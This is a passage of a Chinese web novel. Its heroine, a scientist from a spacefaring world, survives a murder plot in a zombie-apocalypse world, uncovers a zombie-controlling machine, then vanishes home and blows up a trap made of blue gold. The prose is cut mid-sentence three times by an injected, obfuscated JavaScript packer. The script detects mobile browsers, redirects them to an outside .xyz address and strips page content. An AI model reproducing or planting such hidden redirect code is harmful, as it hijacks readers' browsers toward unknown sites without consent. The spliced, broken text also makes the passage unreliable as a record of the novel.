营养液味道寡淡,对于身体的益处也就是能替代一顿饭的程度。她的胃消化不了这里艰辛环境下制造出的粗糙食物。 伊冯抬头看着总是灰蒙的天,嘴里泛出并不存在的甜味——这个连蛋糕都没条件做的地方,就算她说给她一个红丝绒蛋糕就能让末世结束,她们也无能为力吧。 对于自己的身体,越是投入研究,眼前越是一团迷雾。在栖止,她给自己全身上下内外都取样检测过,所有数值指标都很正常,不说只存在她幼年记忆的极速痊愈,连“穿越”的自身因素也毫无头绪,只能反复使用空间跳跃装置一项项排除无关因素。只有蓝金能支撑空间跳跃启动所需能量,她的定影和大部分仪器用的能源也是蓝金,为了获取这奢侈的能源,她又必须花费大量时间去搜寻合适的佣兵任务赚钱,两年时间说起来不短,真正进行实验的时间其实不多。 她的医学知识技术放在学校里已经是博士水准,显然要弄明白自己身体的问题,只是教科书级别的信息储备是不够用的。久久没有得到答案,她也没着急过,再多花几个两年去找答案又怎么样呢,大多数人一辈子也不认识自己。 这次穿越却让她不得不焦虑,她的研究被划上了一条以她生命倒数做进度条的红线。 来到这个世界的初期,她自检出的血液各项数值都超出最高正常指标,等有条件对内脏做详细检测时,各处都有不同程度的功能受损,有些指标甚至只能在尸检报告上看到——可她还活着,基地里有些人私下偷偷叫她“丧尸王”。 中了丧毒的人要么死去成为丧尸,要么幸运活下来,获得奇迹般的能力——能凭空放冰的苏弩就属于后一种,她们被称为异能者。异能者不会因为曾中过丧毒而对它产生抗体,她们仍有感染风险,如果异能者再度感染丧毒,会有极低的概率虽然身体腐化但还保持自我意识,这种状态的能力者又被称为“丧尸王”。虽然保有意识,但成为病毒载体的异能者不再被当作人类,而被视为比普通丧尸更危险的病毒载体。 据曾意外遭遇过丧尸王并艰难杀死对方的苏弩小队成员所说,丧尸王的攻击性不比普通丧尸低,只是保有的理智让ta会权衡挑选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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伊冯本想着既然晶核与蓝金构成相似,那么她或许可以学着她们吸收晶核的方法,把体内的蓝金化为己用。但每个异能者说起吸收晶核的方法,都比她还一知半解,总结起来都是成为异能者后“自然而然”地会了,就像用脚走路抬手握拳一样,给不出有价值的指导意见。伊冯实在无法参透她们给出的意识流操作方法,加上“吸收蓝金”纯属她一时的异想天开,便不在这条走不通的路上耗费时间。 不再恶化的身体给伊冯制造了更多难题。如果她的身体按之前的趋势恶化下去,她知道是受蓝金侵蚀,对症下药就好,可在她体内的蓝金还有活性时,她的身体状态却稳定下来,既不继续恶化,也无好转,投入的药物都如泥牛入海。 找不到原因的稳定反而让她不安,越是想找到答案,越因为毫无头绪而焦躁。她无法掌控自己的身体状况,又要怎么确定她已经脱离了危机?体内的蓝金仿佛达摩克利斯之剑,不知何时落下。 伊冯从口袋里摸出一张照片,原世界带来的东西逐渐消耗,连她的定影都被她抠走蓝金成了摆设,只有这个不可能用在研究里的照片还维持原来的样子。 照片里灰发女人的长相,在这五年里也慢慢刻进她的记忆。照片里的人面部肌肉紧绷,肢体僵硬,眼睛盯着镜头却无神涣散。拍摄这张照片时,她一定很不自在。 星盟人平均寿命为一百八十岁,就算按最长寿记录的二百岁计算,洛佑也应该在以诺出生前就去世了。她逃离阿吉斯后便无消息,至死再未用过“洛佑·阿吉斯”这个名字。 每当伊冯为在这个世界停留的时间过久焦虑、为死亡不安时,这张照片都会让她平静。就算死在无人知晓处又如何呢,她已走出比原定人生丰富得多的路。 青年长时间保持着同一个姿势坐在杂物上,只有清浅的呼吸带动身体起伏让她区别于积垒的死物。 五年过去,这个人终于也染上了她们世界的灰色,但她望着天空的眼睛为什么还是那么明亮。 苏弩走近了些,打断了伊冯的放空:“六区发消息来,废矿里发现了些东西,希望你能一起去看看。” 伊冯早就发现苏弩,却没想到她会主动过来搭话。 原四区区长在伊冯做出第一版药物后宣布引退,如今苏弩是这个基地的话事人,除开紧急情况不需要战斗,却比以前更加繁忙了。 伊冯利用之前实验中产生的失败品,制造出减弱丧尸攻击性的药物后,人类对个体战斗能力要求大幅下降。像苏弩这些战斗之外的能力也很出众的人员,都被调配到更劳心的后勤和指挥位置。 她们过去一年几个月也见不到一次,在必要的工作交流之外,苏弩始终保持着对伊冯的警惕和伊冯无心化解的仇视。 这样主动找过来亲自向她传话,看来第六区发现的是个“大惊喜”。 35.隐患 每个人类聚集区都是依托曾经的钢筋水泥旧址而建,连通它们的,自然也是过去的水泥路。虽然年久开裂起伏,总比裸土驱车要平稳。 对于没有和平年代记忆的人们来说,这种颠簸是理所当然,对于出生在宇航时代的伊冯则是灾难。 即便在太空风暴中,功能强大的载具传导给乘员的也仅是轻微如风漾水波等级的震颤。两相比较下,这个世界里减震能力近乎于无的车子,带给伊冯的体验就仿佛装进被巨人肆意摇晃的小匣子里。 更可怕的是,不过一千多公里的距离,这种折磨竟要持续数小时。用空间跳跃出行的人看她以往用的星内常规飞车,大概也无法理解该如何忍受如此的低效吧。 伊冯给自己盖了条用异兽皮制的绒毯,闭目养神。现在的她做不到坐在车顶完成行程,如果运气好能睡着就会好过很多。 车内众人完全没有是否会打扰到她的顾忌,她们常外出往来,早就习惯了毫无舒适可言的乘车体验,兴奋地对第六区的发现做各种猜想。 坐垫下陷,有人坐在她的身边。 是苏弩。 亲自通知她前往第六区矿区查探,勉强能解释为对新发现的重视;在颠簸吵闹的车上特意弯腰挤到她身边,总不能是在相识如此之久后,突然觉得她可爱,想和她培养感情。 伊冯睁开眼,从反光的车窗上看到苏弩分外严肃的表情。每次见她都是这么心事重重的样子,伊冯都替她眉头疼。 伊冯说:“你们已经知道在第六区发现的是什么了,对吧?” 还在考虑措辞的苏弩心中一惊,却无言以对。伊冯把额头点在窗沿,一路上激起的尘土盖住玻璃外的景象,仿佛也铺盖在她的脸上,却遮不住她眼中清透的蓝色;蓝瞳穿过风沙直视着苏弩,似乎也穿透皮囊直视人心,让心中所思所想无所遁形。 伊冯独自说着,她的声音不大,环境噪音干扰下,只有认真在听的苏弩可以分辨内容。 “你们自己能做到的事,从来避免让我插手。现在把我带过去,是终于把我当作自己人,还是终于有了机会可以把我彻底排除在外?” 身份可疑的伊冯就像是颗地雷,有价值有能力的她偏偏无法掌控,更加让人觉得碍眼。如今终于到了可以把她处理掉的时机,她们可说是迫不及待。 把她带去第六区,只是最后的遮羞布——长途漫漫,久病体弱的伊冯可以在往返中发生各种意外。况且伊冯长期活跃在第四区,难保存在对她有私情的人徒生事端。用公务把她带离熟悉的环境,总归保险些。 伊冯三言两语间揭露自己死期已至的阴谋,可苏弩在她脸上找不到任何负面的情绪,平静得令人慌张。 “我就是问问:你们计划怎么让我死?虽然决定权在你们,但我辛苦这么多年,申请个无痛的死法,也不为难你们吧?” 苏弩无话可说,只有保持沉默。 伊冯又从嘴里咂出丝缕甜味:“今天动手吗……按我来的地方的历法,今天是我的生日。第六区好像没有甜品……” “按我们这里的历法,一百七十三年前的今天,是末日降临的日子。” 终于听见苏弩开口,伊冯笑了:“要用伟大的胜利埋葬噩梦吗——你们连在今天宣告末日结束的信心都有了,看来我确实没有被留下的价值了。” 或许是出于同情,苏弩下令改道在附近的第五区补给休息两小时。 因为是临时到访,她们只在附近停车整顿,没有进城。 “进城更累——我就进去过一次,爬到一半真恨不得跳下去。再让我爬一次这鬼山我还不如去打丧尸群。”半靠在车前盖的高瘦女人拧开水壶盖子,一脸的不堪回首。 第五区是一座山,人们居住在洞穴中,在崖壁上行走,呼喊着交流,拉长的语调仿佛粗野的歌谣,在风中回荡。 伊冯在车上没睡着,这会儿虽然没有颠簸,但停置的车上还睡着轮换开车的人,变得安静的车厢内旁人的呼吸更让她难以入睡。虽然精神疲乏,为了能多呼吸点流通的空气,伊冯还是裹着毯子下车,坐在路边一块石头上等出发。五区比四区干燥,更难见到植物,入目净是奇形怪状的石头。她閤眼听着被风推到耳边的声音,呼吸平缓。 高瘦子用余光瞄着伊冯,小声问:“苏姐去了多久?” “十分钟。临时停靠的手续很多。”小鸟的头发因为天然卷蓬松地团在头上,她顺着高瘦子偷瞄的方向看了一眼伊冯,压低声音,“五区进出麻烦,至少还要三十分钟吧。” 高瘦子把水壶塞进小鸟怀里,走向伊冯。 “林秀!——” 小鸟焦急地低声叫了她一声。 林秀回头把食指放嘴唇上“嘘”了一下,眨眼让她放心。 她的脚步声不轻,但闭眼养神的人没有对她的靠近作出反应。如果青年是在这种情况下能睡着的人,早就不知死几回了。 林秀说:“你知道五区是怎么把这些山挖空的吗——我不知道,搞不懂她们干嘛费这力气,迁移到平坦地带建城不好吗?不过我知道她们把挖出来的东西放在哪里,有不少亮晶晶的石头,说是没什么用还惹眼,都被当废品堆在那边。” 见伊冯还不理自己,林秀把手放在她肩膀上:“陪我去看看呗,苏姐一直不许我偷拿,有你在她就不会骂人了!” 伊冯睁眼看向自己左肩上的手,轻轻挣开,站起来把毯子放到石头上,无声示意她带路。 “嘿嘿,我就知道你是最好说话的!她们一个都不跟我去,真是白做这么多年队友了!” 林秀笑呵呵地又把手搭在伊冯肩上,半搂着她往远离大路的地方走。 伊冯这次没挣开她的手,她侧头看着身后好像什么都没看到的一队人,由着林秀带着她走。 林秀的情绪高涨,一路用郊游般的兴奋语气指着周围的风景和伊冯分享。伊冯也非常捧场地应声,偶尔还点评几句。 她们已经走到了看不到休整点的地方,林秀还没有停下的意思,伊冯按住她放在自己肩膀上的手:“够远了,还没到吗?我累了。” 林秀把手搭在额头往远处望了一会儿,说:“奇怪,我以前去的时候没觉得有这么远啊。要不然我背你?” “……好啊。” 林秀背人比预想得稳,但她实在没有肉,伊冯被她的骨头硌得生疼,被背上后还费劲调整了一番姿势。两人虽然没说话,但都透露出一股“与其费这劲还不如直接走”的疲惫。 林秀比伊冯高一个头,在她背上,伊冯的视线比平时抬高了半个身子,有种空气都清新了几分的错觉。她仰头看着上空,还是五年前初见过的灰蒙厚重云层。 这确实是个很容易让人对生活失去热情的世界。 林秀总算停下,伊冯从她背上下来,对于眼前看到的东西不太满意。 她们绕到了山的背阴处,这里堆放着十几堆碎石,灰黑土黄的石块中夹杂着彩色的矿石。她抹开一块矿石上的土看了眼,杂质很多,颜色也不好看,边缘有切割痕迹,是被挑选后丢弃的废石。如果非要用它们做什么,也不是不能做,但效率太低,没有意义。 林秀看着这些废石发出高亢的兴奋叫声,扑到石堆上左挑右捡,一脸为难地让伊冯给她意见:“拿太多肯定要被骂,我捡一个最漂亮的回去做纪念就够了,你觉得哪个好?” 伊冯的视线从她两手的矿石上一扫而过,定在她兴奋的双眼,问:“你的能力是什么?” “我哪知道我那从没派上用场的狗屁能力是什么——别在这个时候戳我痛处啦,你见识多,帮我看看哪个好?” 林秀越笑得无害,伊冯的神色越冷淡,她说:“异能者的能力都有同样的运行机制,吸收转化外界物质,储存于体内用以释放攻击。你吸收的是毒素,这对丧尸无用,所以你的能力没机会在战斗中显现,这么多年,你也没让第二个人知道自己的能力。你很小心,没留过证据,因为这种能力,可以轻易被引导成任何人死亡的原因,甚至被塑造为丧尸王。你隐瞒能力,既是为了自保,也是奇袭的底牌。” 林秀的笑慢慢从眼中消退,嘴角依然上扬。 林秀说:“基地里也有别的你没查过的异能者啊,我知道好多人都和你说的那什么机制不一样。” 伊冯没有被她岔开话题,继续说着:“我检测出你体内结构与别的能力者有相似的变异,却没检测到多余物质,那时候我就在想,你是把储存物消耗光了。后来你们说你从不知自己的能力如何发动,我便假设你是不懂如何吸收外界物质——毕竟这真的不好学,她们也实在不会教,偶尔有个不得门路的也正常,对吧?但后来每一次我需要异能者配合实验时,你都在出城做任务;你到实验室来时,我又都在为别的实验费心,顾不上给你做检查,会这么巧吗?我多次被投毒,其中一次是在实验室内发现,虽然没有证据,但足以让我把怀疑对象缩小到实验人员与异能者中。进入实验室的物品都要检查,不会被发现的毒,只有异能者储存在体内的毒素。” 林秀问:“为什么这时候说这个?” 伊冯说:“小鸟不比你善于伪装,我看得出她不想我死,想找机会放我走。但你的行为与这一目的相悖。” 伊冯见林秀不辩解,又说:“从我们第一次见面以来,你就很会这样笑,单纯到有点傻气,其实全是预判过对方会对你有什么想法而表现出来的,恰到好处的笨拙。在我看来,你比苏弩更适合做领导,你没她那么优柔寡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好吧。”伊冯表示理解,然后她抬头看向山壁高处:“看在我的处境这么悲惨的份上,能不能免费帮我一次?” 林秀惊疑地瞪大眼睛,在伊冯说话后她也感受到来自身后高处的生人气息。 她慢慢回头,对上一双灰黑的瞳仁。 陡峭得近乎垂直的崖壁上,把皮肤涂上一层黄土、绘着图腾纹饰的人,头朝着下方在山壁上攀爬,仿佛巨型的蜘蛛在她的蛛网上爬向束手待毙的猎物。 林秀迅速退开三米,惊魂未定地用力呼吸着,看向从头到尾情绪不见变化的伊冯:“你什么时候和五区的‘土蜘蛛’这么熟?” 伊冯说:“别忘了,四区的墙从来拦不住我,要飞上五区的山又有多难?” 看着林秀终于稳不住单纯傻气的笑脸,伊冯偏头藏住嘴角的笑。她怎么可能坐以待毙,这么多年了,她们还不清楚她的作风吗?还是她现在这幅病弱的样子看起来有那么乖? 趴在崖壁上的“土蜘蛛”被黄土和彩色纹样覆盖的脸看不清面容,头发、四肢和腰间扎着彩色布条,被风吹动时仿佛全身都在崖壁上怪异地晃动。她开口,发出沙锤般粗粝又清脆的声音:“四区总是算计很多——到五区来吧,你更适合这里。” “我会考虑的。”伊冯在身上的口袋摸索着,又抬头看向土蜘蛛,“我身上没有能替代酬劳的东西,能赊账吗?” 土蜘蛛不满意地晃动身子,朝着林秀的方向弓起脊背:“你的身上从不缺东西。确保你的安全后,我们再结账吧。” “别别,她不危险。”伊冯抬手制止土蜘蛛的攻击,“放心,她不会在暴露的情况下强行杀我。” 伊冯对着土蜘蛛的身姿和彩绘夸了一通,把人哄回山上。 看着土蜘蛛退回山洞里,林秀又防备地看着伊冯:“为什么不趁这个机会和她走?想你死的人很多,你真以为自己可以万无一失?” “所以啊,五区想我死的人也很多。”伊冯往她们来时的路走,“我这次出来是为了见六区的‘大发现’,见到那个之前,我不会跑。” 见林秀还不动,伊冯又说:“蜘蛛会上报我们在这里,走吧,苏弩会来找你的。” 林秀慢慢走近她,走到伊冯身边时,又是一脸没心没肺的笑:“真麻烦啊,怎么就不是在四区发现的那东西呢?跑长途好累的!” 伊冯伸了个懒腰,说:“就是啊,简直就是受刑。” 她拍拍林秀,让她蹲下背自己。 林秀的表情差点又一次崩裂,看了伊冯好一会儿才压低身子让伊冯爬上去。 想到林秀现在心里可能填满了把自己“不小心”摔死的计划,伊冯心情很好地用手臂绕过她的脖子抱紧。 36.病源 小队的人被苏弩训了一通,林秀是主要批评对象,骂她擅自离队还带着重点保护对象乱跑。 伊冯裹着毯子坐在一边,看着林秀被训得缩脖子,又听出苏弩话里隐约遗憾没真的把人弄丢,想:理性的扮傻,感性的装冷酷,真是辛苦。 在第五区休整后没有理由再停下,车队全速向六区奔驰。 伊冯被颠得坐不稳,更别想睡觉,闭着眼默背药物成分分散注意力。 苏弩和林秀欲盖弥彰地远着她坐,贴在她身侧的这回成了小鸟,这个从不与她直接往来的大眼睛天然卷女孩。 从手臂上感受到一股拉力,她被拽着衣袖往身边人身上倒。伊冯睁开眼,小鸟有些窘迫地避开视线,但还是执着于让人靠在自己身上。 小鸟没比林秀多出多少肉,体型还比自己小一号,这个人肉靠垫说不上舒服。 伊冯推开她的手,问:“你又是为什么?” 小鸟的脸颊因为被拒绝而尴尬发红,她们都知道,伊冯问的不只是她现在拙劣的示好。从初见开始,小鸟也是最直白表达对伊冯怀疑的人员之一,甚至从不配合她对于异能者的研究。 她把嘴唇咬得发白,双手紧紧攥着裤子。她想说自己很羡慕伊冯:羡慕她懂那么多知识,羡慕她强得可以拯救世界,羡慕她有一双不会被染灰的眼睛,羡慕她能轻易飞跃高墙。 当她看到伊冯腾空而起冲破云层,将她记忆中不可撼动的灰色世界撞破一个缺口,她眼中的失望也随之出现裂痕,被温热的眼泪溶解。 这些想说的话都无法说出口,小鸟硬着头皮紧贴着伊冯,努力装作睡着倒在伊冯肩上,小声又坚定地说:“你不能死,不该这样死。” 伊冯转头看向窗外,车在减速,快到了。 六区旧时是个挖空后废弃的矿场,灾后被利用重建为生存基地,谁也没想过这里的地下还有什么值得挖掘的东西。 直到伊冯开始查找控制丧尸的波段源头,最终将怀疑范围缩小到六区。 原本不至于要花费近五年时间,伊冯做了专门捕捉那些波段的探测器,功能单一,但非常精确,省去了在荒野扫地雷的功夫。大量的时间都被用在说服别区使用伊冯制造的探测器协助搜索,更别提探测器频繁“意外”报废或丢失。她们做的最差的预设,是波段源头位于丧毒最初爆发的南半球,能在四区临近的六区找到源头,已经是幸运中的幸运。 确定六区地下有东西后,花了不少时间让当地住民同意挖掘,设备不足又导致进度缓慢,几个月不见成果。伊冯确定东西在六区后,知道以她们的效率这事快不了,便没再分注意力在找波段源这件事上,直到苏弩带着结果来通知她。 四区平地起高墙,五区向上行于山间,六区则是座地下城,蜿蜒的矿道是这座城的血脉,流动其中的人今天都汇聚在最低处的新鲜坑洞旁。 作为“贵客”,伊冯不必自己走下层层矿道,她和四区的人一起坐乘人索道下到地底深处。吊椅虽然毫无安全措施,速度只比步行快点,总比走路轻松。 伊冯抱着吊杆,看着沿途景色:六区的人白天在地上活动,傍晚回到地下,地下无风无雨不受日晒缺少光源,因而住处只是用石块泥土垒起隔断,简单划分区域;在她来这个世界前,这里的人有尝试过把低品质晶核作为能源,六区使用的照明灯就是产物之一。虽然她帮忙改进了设计,但显然六区还对她的技术怀有顾忌,她设计的晶核版照明设备光线不会如此昏暗,将墙上刻划的图纹照得变形,融进掠过的人影。 索道直通挖掘现场,将伊冯等人越过人群头顶送入坑洞边缘。 伊冯无视那些包含各种情绪投注在她身上的视线,走入坑洞中心,直奔那个显眼的白色机器。 这是个二人高的球形机器,外壳半透明,隐约能见到内部的构造。 站在机器旁的六区话事人见伊冯盯着机器不动,朝后方的苏弩递了个眼神:这是什么意思? 苏弩回了个“我怎么知道”的白眼,朝伊冯走近一步,问:“怎么样,你看得出什么吗?” 伊冯皱着眉头,苏弩第一次见她如此严肃。她把手放在机器外壳摸索着,绕着机器走过一圈,“啪嗒”一声,机器外壳突然自顶端绽开八瓣。 众人退开几步避让落下的外壳碎片,见伊冯要走入机器内部,六区话事人拉住她:“你对这个东西,好像不陌生?” 她当然不陌生,尽管没有做任何记号,但她认得这种结构——她拆了无数研究塔制造的机器,她再熟悉不过。看到这个机器的第一眼,她就认出那是研究塔的风格。 伊冯的眼睛紧盯着机器暴露出的构造,几下没抽出手才回头看拉住自己的人。 六区的话事人体型壮硕,伊冯即使是身体状态最好时也不能和她拼力气,更别说现在。伊冯转头找苏弩,苏弩只能过来分开二人,她挡在两个人中间,对六区话事人说:“我们之前不是达成共识了?别太强硬,放松点,吴拘。” 吴拘仗着身高,越过苏弩眼神不善地看着伊冯,说:“我也开始相信这个人参与了制造‘末世’的说法了,看着年轻,或许比我们的姥姥年纪都大?” 伊冯揉着自己的手腕:有关她的传言版本真多。 她再度看向机器:“现在阻止我看它,有什么意义?你们不是想知道它是什么,才让我过来吗?” 吴拘双手交叉抱胸侧身让开路,嘴上说:“不知道又有什么关系,只要把这东西砸烂了,问题一样解决。” “对,这台机器相当于丧尸们的大脑,只要让它停止运转,丧尸们就不会再集结群体行动攻击人类,你们就能限制病毒传播,结束这场漫长的灾难。”伊冯摸到了能源仓,将作为能源的蓝金抠出来。 从能源仓的容量和磨损痕迹来看,这块蓝金原本有十厘米的直径,现在已经消耗到不足五克拉。 小小的蓝色石头在伊冯的指尖闪烁着,吸引了在场所有人的目光。 苏弩望着那梦幻的蓝色为之失神,又被还发出细小声音的机器拉回理智:“它是不是还没停?” 机器没有因为能源仓变空停止运行,伊冯不意外,把蓝金收起来,绕到另一侧,将机器从中部拆开。在能源仓后侧,有一套循环系统,可以在蓝金耗尽后转化自然物质作为能源,维持机器的最基础功能运作。 “虽然只是我的推测,不过南半球应该还有一台这样的机器,只靠这一台影响不了一整颗星球。”伊冯摩挲着口袋里的蓝金慢慢说着,“肯定有一台制造并散播丧毒的机器,可能在南半球某个火山口里,也可能在月球上。月球上有不少东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640015|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所有谜题的答案都在那里。” “等等,你先等等——”吴拘叫停伊冯,却一时无法组织好语言自己先停住。 伊冯没有停,反而加快了语速,她突然感受到那股久违的眩晕感,已经没有必要隐藏信息,也没时间解释每件事了:“登月需要的东西我都画好了图纸,图纸在实验室营养剂柜子的夹层,密码画在我住过的箱子上。” 她叫了一声林秀的名字,朝她丢了一个东西:“帮我带给蜘蛛,我尽力了。” “还有小鸟,”伊冯也丢给她一个不到拳头大的仪器,“这是飞行器,使用方法你自己研究吧。” 视线开始模糊,伊冯脑中迅速罗列着未完事项,还有很多事,很多人,她还能用最后的时间留下什么? 最终她只看着苏弩,说:“我相信你会处理好一切。” 她的微笑与尾音一同模糊,就这么在众目睽睽之下凭空消失。 因为她突然交代后事的言行而警戒的众人全都呆住,不可置信地彼此对视,脸上出现梦游般的恍惚。 “肯定是用了什么障眼法躲起来了!搜,谁都不许离开!”吴拘瞪了眼还在发愣的苏弩一行人,带自己的人去搜查。 苏弩说:“吴拘,她回到她的世界了,我们追不上的。” 吴拘只当没听到。四区的人和伊冯太亲近了,这些年因为新药散了不少人到别的区域,苏弩的旧队员也有分到六区辅助防灾的,六区里有徇私帮伊冯逃遁的人一点不奇怪。 苏弩知道吴拘的固执己见,不再多说。 伊冯的离开和她出现在这个世界时一样突然。她走向队员们,看了眼捧着飞行器无言流泪的小鸟,问林秀:“她给你的是什么?” 林秀摇晃手里的彩色小球,发出清脆的碰撞声,把它交给苏弩:“像是用五区的彩色石头做的。” 苏弩对光仔细看了会儿,粉橙色的宝石打磨得圆润,镂空雕出了蜘蛛的花纹,内部还雕出一颗珠子,晃动时发出的声音就是这颗珠子碰撞发出的。 苏弩问:“她和土蜘蛛的关系很好?” 林秀耸肩,说:“她好像没少偷跑到别的区,有不少我们不知道的熟人吧。” 苏弩让林秀收好小球,回程路上带给土蜘蛛。吴拘正暴走搜人,她们一时走不了,之后估计也少不了被盘问。伊冯当众说出的那些机器和月亮的话,可以想见会在各区引发怎样的风暴。 她叹了口气,竟然笑了出来:真是留了一堆麻烦给她。 伊冯在晕眩中没站稳跌倒,身下意外有个柔软的垫子接住她。 她捂着头,在渐渐清晰的视线中对上一双气愤的眼睛。 莉亚猛地被重物砸醒,之前被打晕的疼痛还未消散,又痛又气,身上这个陌生人还一脸无辜更让她恼怒,喝道:“你是什么人?!快给我滚开!” 伊冯被她吼得一愣:这不是莉亚吗?被刘念打失忆了?怎么不认识她了? 想到刘念,伊冯接着便想起她穿越前他用手指脸的动作。 不好,她现在没有伪装! 她抬手便把莉亚再一次打晕,看着莉亚骂骂咧咧地昏迷,又转头看向其余还昏迷的人,松了口气。 伊冯爬起来坐着,仰头望着飞船外久违的太空景色,星体流转,恍若隔世。 37.问题 五年的时间差不好消化,伊冯慢吞吞地站起来,把手放在操作台上,通过触摸不同于那个世界的物品汲取真实感。 飞船还行驶在预设路线中,伊冯取消自动驾驶,亲自操纵它。舷窗外的景色在操作下变化,她一点点找回在那个世界里用不上而搁置的习惯。 到达预定点后,伊冯算了下时间,离她设置的自爆倒计时还有几分钟。在刘念启动跳跃器前,她已经向爆炸范围周边发送危险警报,提醒不知情者不要误入。虽然很多数情况下总有不信邪作死的,越说危险越要凑过来,但这次运气不错,现在这片区域只有她们这一艘飞船。 伊冯重启飞船自动系统,进休息间换下另一个世界的衣服。备用工具都在那边消耗光了,只有终端手镯和她的定影还在。把那台机器里抠出的蓝金填入定影,触摸球面上每一个感应点,在定影的回应中终于定心。 面具没有备用的,只能拿衣服套头上挡着——她是从栖止来的佣兵,偶尔这么打扮也有说法。 收拾好东西,确认没有遗漏后,伊冯把昏迷的几人搬到椅子上捆好,推到舷窗前再弄醒她们。 伍迪醒来后就大吵大闹地骂她们毁约,伊冯堵上她的嘴;把何瑞偷偷解开的绳结换了种绑法,再给她加一条绳子;莉亚还昏着,伊冯想让她一睁眼就看到蓝金爆炸的景象,在冲击下忽略之前看到的陌生面孔。 布莱恩很安静,没有任何多余的动作。她总是很聪明,知道怎么做最合时宜。她只表露恰到好处的疑惑,等伊冯主动给一个让她能谅解的理由。 于是伊冯告诉她们自己和刘念进入液体蓝金深处的经过。 “我回到地面上就看到刘念已经弄昏了你们,我们一起回到飞船上后……我也失去了意识,等我醒来,他已经不在这艘船上了。” 她模糊了自己穿越的事,接着说:“我担心你们不会冷静地看着蓝金被毁,等爆炸结束,我再放开你们。” “你脑子被蓝金泡坏了?!”何瑞破口大骂,“既然是挖掘才会触发的系统,叫我们别挖不就好了!只要时间充足,有的是办法解开它!你们想的什么狗屎办法,你知道那么多蓝金代表什么吗?!” “我试过了。”这个世界不存在的那个五年里,她不知多少次回忆着那个系统里的每一个字符演算解法,“有再多时间也解不开,那是一个只为破坏而设计的陷阱——能用那么多蓝金设陷的人,如果不是亲眼所见,你想象不到ta的疯狂。在它不会波及任何人时提前引爆,是最优解。” 何瑞倒吸一口气,气得脸色涨红:“你解不开就以为全星盟没人能解了?你真以为你的技术宇宙第一了?你以为你是什么东西!” 伊冯说:“我的技术确实是最好的。” 时间差不多了,她把何瑞的嘴也堵上,弄醒莉亚。 莉亚醒来时火气格外地大,任谁被接连打晕两回,心情都美丽不到哪去,更别说她从来不是个好脾气的人。意识清醒睁开眼的第一秒,莉亚已经为打晕她的人设计了五种被钉在墙上的姿势,但在第二秒,她所有想法都被满目的蓝色侵占。 仿佛滴入水中的蓝色浓墨翻腾着将颜色染遍,除了那莹亮的蓝,所有颜色都不复存在;蓝色成为唯一的颜色还不够,继续舒卷出深浅不一的蓝,成为流动的河,成为散落的星,成为绽开的花和鸟兽鱼虫,从此世界万物都只由这蓝构成,将见到这番景象的人也同化,纳入那无边无尽的蓝中。 蓝金不愧是“万能能源”,炸了都这么具有观赏价值。伊冯喝着营养液把这当烟花看,瞥了眼神情呆滞的几人。她心中难免也为这么大量的蓝金被浪费感到可惜,看爆炸的状态,那颗用蓝金造的星球只有表面一层是高纯度固态蓝金,内部填充用的蓝金液的品质则参差不齐,这稍微安慰了伊冯对炸毁蓝金的惋惜。即便如此,这些蓝金也不是她所知的哪个势力能轻易拿出的分量,用蓝金做炸弹的那些人,是手里握有巨量蓝金不在意这份消耗,还是拥有更甚于蓝金的新能源? 如此大量的蓝金爆炸,如果不加助燃剂,要耗尽可不是几天的事。伊冯把喝空的营养液袋子丢进回收箱,将飞船转向开往中转站。这么大的动静,很快就会引来各方探查,能避则避。 飞船进站时没有引起注意,伊冯观察了一会儿,站在舱门旁说:“你们不是傻子,应该知道宣扬自己接触过那些蓝金只会引火上身。我们什么都不知道,只是队长好心接受了伍迪女士的委托去找被盗的货物,途中收到匿名警告,我们不想为这种任务冒险,于是折返。” 伊冯说完,见她们还是眼神涣散,不知有没有把她的话听进去。没听到也不要紧,就如她所说的,这些人都不笨,不用她提醒也不会乱说话。唯一需要担心的只有委托人伍迪,但她一个人,口说无凭,闹不出什么动静。 她打开舱门,抬手挥出风刃斩断她们身上的绳子,下船离开。 躲开港口拥挤的来往人群,伊冯捂着回来后忽然又开始发疼的胸腹走向补给站。她现在的身体状况不适合动手术,得先在医疗仓里泡一段时间,让身体恢复到可以承受更换内脏手术的强度。她在栖止储备的物资不够用,要多买点回去;回程路上要使用跳跃器,她现在要避免再度穿越,得在这做一个应急的防穿越干扰器。 前方的人群行动轨迹忽然出现不自然的转向,伊冯避到墙边观察,看到一行高调逆行的人。看衣着,是市场监督管理局的人,为首的人胸前佩着一枚闪亮的高塔图案徽章。 为了确保研究塔科技的垄断地位,研究塔在许多部门插入了名为科技援助实为监控的“专家”,方便随时获取各渠道消息。研究塔有钱有权,许多部门都把研究塔来的人当祖宗供着。 除了栖止那类太穷苦的地方,研究塔的人不乐意去吃沙子,基本在哪都能看见身上有研究塔标志的人晃悠,确保市场上没有会影响研究塔“声誉”的产品出现。 伊冯默默看着那些人走远,视线一直钉在那个研究塔的人身上。 她从前觉得研究塔的人胆小,总是担心出现新东西自己的产品就会受到威胁,别人做出好的她们再研发更好的不就是了?现在看来,她们的胆子可太大了。 